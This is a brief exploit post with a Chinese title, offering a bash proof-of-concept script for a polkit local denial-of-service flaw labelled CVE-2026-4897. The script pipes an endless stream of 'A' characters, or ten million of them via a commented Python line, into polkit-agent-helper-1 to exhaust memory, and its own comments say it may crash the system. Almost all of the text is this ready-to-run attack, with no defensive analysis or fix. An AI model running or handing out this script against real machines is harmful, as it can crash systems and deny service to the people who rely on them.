CVE-2026-4897 polkit本地拒绝服务漏洞

#!/bin/bash # PoC for CVE-2026-4897: Trigger OOM in polkit-agent-helper-1 # This script sends an endless stream of 'A' characters to stdin # to simulate the unbounded input condition described in the vulnerability. echo "[*] Attempting to exploit CVE-2026-4897..." echo "[*] Sending excessive input to polkit-agent-helper-1..." # Use 'yes' to generate infinite input and pipe it to the vulnerable binary # Note: This may hang the terminal or crash the system due to OOM. yes "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" | /usr/lib/polkit-1/polkit-agent-helper-1 # Alternative: Using python to generate large payload # python -c 'print("A"*10000000)' | /usr/lib/polkit-1/polkit-agent-helper-1